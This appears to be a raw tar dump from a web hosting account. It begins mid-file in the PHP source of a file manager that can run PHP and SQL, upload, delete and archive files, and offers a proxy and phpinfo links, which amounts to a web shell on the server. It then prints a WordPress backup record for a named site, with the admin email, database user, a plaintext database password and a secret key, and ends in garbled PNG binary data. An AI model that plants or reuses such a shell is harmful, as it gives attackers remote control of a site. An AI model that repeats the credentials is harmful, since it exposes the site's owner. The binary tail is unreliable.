'.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/henriyzx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> backups/wp.26_29340.2023-11-25_15-10-01 0000600 00000003233 15114716166 0011526 0 ustar 00 a:37:{s:3:"sid";i:26;s:3:"ver";s:5:"6.4.1";s:5:"itime";i:1699555547;s:8:"softpath";s:26:"/home/gqdcvggs/public_html";s:7:"softurl";s:19:"https://rommedia.eu";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:17:"tizix@rommedia.eu";s:10:"softdomain";s:11:"rommedia.eu";s:6:"softdb";s:14:"gqdcvggs_wp192";s:10:"softdbuser";s:14:"gqdcvggs_wp192";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"p85LS.M42.";s:8:"dbprefix";s:5:"wpie_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:9:".htaccess";i:20;s:13:"wp-config.php";}s:9:"site_name";s:8:"RomMedia";s:5:"insid";s:8:"26_29340";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";s:12:"last_wp_sync";i:1700921381;s:18:"display_softdbpass";s:10:"p85LS.M42.";s:4:"name";s:31:"wp.26_29340.2023-11-25_15-10-01";s:4:"path";s:34:"/home/gqdcvggs/softaculous_backups";s:9:"backup_db";i:1;s:10:"backup_dir";i:1;s:14:"backup_datadir";i:0;s:13:"backup_wwwdir";i:0;s:11:"backup_note";s:0:"";s:3:"ssk";s:32:"S1Uf237fecK33bhQwyYCviLpWlGoJUVd";s:5:"email";N;s:12:"soft_version";s:5:"6.0.1";s:5:"btime";i:1700921401;s:3:"ext";s:6:"tar.gz";s:4:"size";i:375345051;} sitepad.php 0000600 00000000312 15114716166 0006702 0 ustar 00 a:8:{s:25:"disable_all_notify_update";i:0;s:8:"timezone";i:0;s:6:"apikey";s:0:"";s:7:"apipass";s:0:"";s:8:"ftp_user";s:0:"";s:8:"ftp_pass";s:0:"";s:7:"host_sm";s:0:"";s:19:"no_new_editor_alert";s:0:"";} logs/error_log.log 0000666 00000000000 15114716166 0010207 0 ustar 00 wp_manager/screenshots/26_59984.png 0000644 00000400663 15114716166 0012764 0 ustar 00 �PNG IHDR � , ��� pHYs � ��+ IDATx��}yt�ő�gF�[²d˷e�-[� �'�N8���f^�]�ٷ�lvy1�#�n�Kl ���@�c�W cclcߧ.��Ӓ-�h43�?��ίժ����@~�{z3�]]����cF3�H$� �D"��@����Աj��\'J%W�E��q�T;u�X�>��U��ϩ~�F��OM����\[~|�/Lxt~I��æ��]*zL:$��~*$�.y-哋�t\�w��7a�^�Ĕ�o�W��&n��)~k�kP�®���v��'M�ɉz?���G��)=z��7i6vQr(<\q��O��H)�(&|:qA��Ty9>J�-?���aNţˑ�R�e�ђD�y��Ba�6k��$�.��v!���l�l�(��8�}I��p1e�8sq���닋��T<�1���-h��"H-&���d� �>A�"F����f���U*<\���U/�6r��Lգۢ��d�sB�ET��Y�(�l���c�+ T>pES�J�i9�r$����i���T��>J��{�煪��G�� S�t�\ns��(�]a�@|��oŎ�ER~�ǿM�$G>!W ��(^qub�M���t��d�����Vui���l�l��k��1�d'7w6�Ӝpdk��\[]68lt��Ö��I���Ο-�淍N^i�n?1n���S�Le�l0�����K)��c�tD4vU�z����:�HǑmQ��dz�lk.@8�o)�6;R��~�Tc��q��N�]Ob�\ڎ��%��6\��C"W,zlK������ʏ��ĸ-I�LuF����o��҅|ԏ��b�Ƨ���u,̒\�b���r�xS�Ï�nH��s]����o~���p89[�u��(���� �������@�q�p�����Ó�H$����'N����g<Gcc#ƍ�l���E"�@vv69����U������W>�6�)]D�E��p�B����,]��N�xL:�ݶ��t�;��Qϡ�ŋ?��?�=տ��*��?�#�?���<�s�9�����F{{;233������.��qdee�������{|���E[[����H$�q��iddd���MMM��p�� ���`ǎ(//G4E8FNN��(:;;����S�N!� ����p �v�Z̘1mmm����ڵk�s�N̜9s���~\����Q�&Y&:�z�g�c�?5F�c��o�+��~�b��G�?i\�~��˜��/�v=����mڴ /��N�:��'����q�\�����mۆ^x���ӑ���d��ر�}~Cj�-Q�g����b���7n���/�[nAff&:���v�q�X�t)"���o��?�1��� ��� hnn��ߏ�z���3f:���O�?��s���O���������¯�k<��8y�$>��Oc���(++C]]z�!,^�������۱q�F>�.���q�u�!��s����G��B��=**r���N�£ʢ�M�a;�\Pc�>���-�3��8�T��}.�j�:L�:��3��d'�F���V�.[�o:��V�^�[n����ؾ};6n܈�� ;vmmm8u����:������{�n���_��0e�9r�-�֭[�{�n������� 7܀��z �hw�}7V�X�S�N�k_� �����6?� zo��o��o֨� ��� ;;EEE�B1b��.�������9眃�_YYY9r$֯_���������6���p��1TTT��üy�P^^��'O���D�F��/�g�FSS�B�:�D"���C"��ƍq�e��'?� ƍ�H$���ndgg�����S��|�ϺΏ�8�Q�O�s�l�me��L��L�\�M�m�xMq`�W$9��7%&_��Q��#Ӽ�ơ.�M]P���wߍm۶�7�@,C^^֯_�#G���[oE<�رcQ]]���2̞=۷oG,�_�����c�֭I��=���0F����<l۶ k֬��_���9r�6mB__<��A*�a��⨓���-�'��h�رX�p!��<�]~��hmmE__���Z�:u mmmX�h�y�<�����?>z�!��a�9�`0)�{>f�,\�����{{{�{��d��?##��ԧ�r�J|�[�BSS�� v�h4��NT��S*�����Q�1�u�Aͯ$W�m��d�~ұ�K¥��l�|���dq�J;<Yz�ym�vH���X�|ec��C�C��ɒ�O͇�����ߨǗ_~---�F�شi��x�� ����� �z�j�w�y�B�>}:��(�L���y�w��������Ѐ@ 